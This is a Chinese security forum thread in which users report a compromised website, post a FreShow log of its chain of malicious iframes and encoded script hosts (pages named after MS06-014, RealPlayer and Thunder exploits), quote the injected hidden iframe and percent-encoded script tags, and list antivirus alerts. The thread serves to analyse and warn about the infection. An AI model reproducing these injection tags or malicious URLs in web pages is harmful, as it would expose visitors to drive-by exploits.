发现ROOKIT

Sherry.ai

汗又是orz...这个网站还没发现...谢谢楼主
我正在研究这个病毒http://bbs.kafan.cn/thread-368326-1-1.html

lg560852

Log is generated by FreShow.
[wide]http://www.bdhxy.cn/
    [frame]http://www.cznylsf.cn/b3.htm
        [frame]http://sllwbd6.cn/a1/fxx.htm
            [frame]http://sllwbd6.cn/a1/fx.htm
            [frame]http://sllwbd6.cn/a1/ss.html
                [object]http://www.oiuytr.net/new/a1.css
            [frame]http://sllwbd6.cn/a1/MS06014.htm
            [frame]http://sllwbd6.cn/sina.htm
            [frame]http://sllwbd6.cn/UU.htm
            [frame]http://sllwbd6.cn/a1/Thunder.html
            [frame]http://sllwbd6.cn/a1/GLWORLD.html
            [frame]http://sllwbd6.cn/a1/real.htm
            [frame]http://sllwbd6.cn/a1/Real.html
    [script]http://%75%69%6E%33%2E%63%6E
        [frame]http://sllwbd6.cn/a1/ilink.html
        [frame]http://sllwbd6.cn/a1/flink.html
        [frame]http://www.zgynkmh.cn/b2.htm
    [frame]http://www.cznylsf.cn/b3.htm
    [frame]http://www.cznylsf.cn/b3.htm
    [script]http://%75%69%6E%33%2E%63%6E
    [script]http://%75%69%6E%33%2E%63%6E
    [frame]http://www.cznylsf.cn/b3.htm
    [script]http://%75%69%6E%33%2E%63%6E
    [script]http://%75%69%6E%33%2E%63%6E
    [frame]http://www.cznylsf.cn/b3.htm
    [script]http://%75%69%6E%33%2E%63%6E
    [script]http://%75%69%6E%34%2E%63%6E
    [script]http://%75%69%6E%34%2E%63%6E
    [script]http://%75%69%6E%34%2E%63%6E
    [script]http://%75%69%6E%35%2E%63%6E
    [script]http://%63%63%68%31%2E%63%6E
    [script]http://%63%63%68%31%2E%63%6E
    [script]http://%63%63%68%32%2E%63%6E
    [frame]http://www.cznylsf.cn/b3.htm
    [script]http://%75%69%6E%33%2E%63%6E
    [frame]http://www.cznylsf.cn/b3.htm
    [frame]http://www.cznylsf.cn/b3.htm
    [script]http://%75%69%6E%33%2E%63%6E
    [script]http://%75%69%6E%33%2E%63%6E
    [frame]http://www.cznylsf.cn/b3.htm
    [script]http://%75%69%6E%33%2E%63%6E
    [script]http://%75%69%6E%33%2E%63%6E
    [frame]http://www.cznylsf.cn/b3.htm
    [script]http://%75%69%6E%33%2E%63%6E
    [script]http://%75%69%6E%34%2E%63%6E
    [script]http://%75%69%6E%34%2E%63%6E
    [script]http://%75%69%6E%34%2E%63%6E
    [script]http://%75%69%6E%35%2E%63%6E
    [script]http://%63%63%68%31%2E%63%6E
    [script]http://%63%63%68%31%2E%63%6E
    [script]http://%63%63%68%32%2E%63%6E

lg560852

下边的那个页面更狠，除了

<script src=http://%63%63%68%31%2E%63%6E></script><script src=http://%63%63%68%32%2E%63%6E></script>

和

<iframe src=http://www.wrmfwi.cn/b3.htm width=50 height=0 border=0></iframe>

就剩开头的一句：

网站别人挂马  请管理员及时修复。。

ue100

楼主的,我一进,报70多条,晕,红伞P,查记录里

ue100

不过倒不至于死机,卡一小下

Mr.Z

ｌｉｎｋｓｃａｎｎｅｒ报了，ｎｏｒｔｏｎ也报ｒｏｏｔｋｉｔ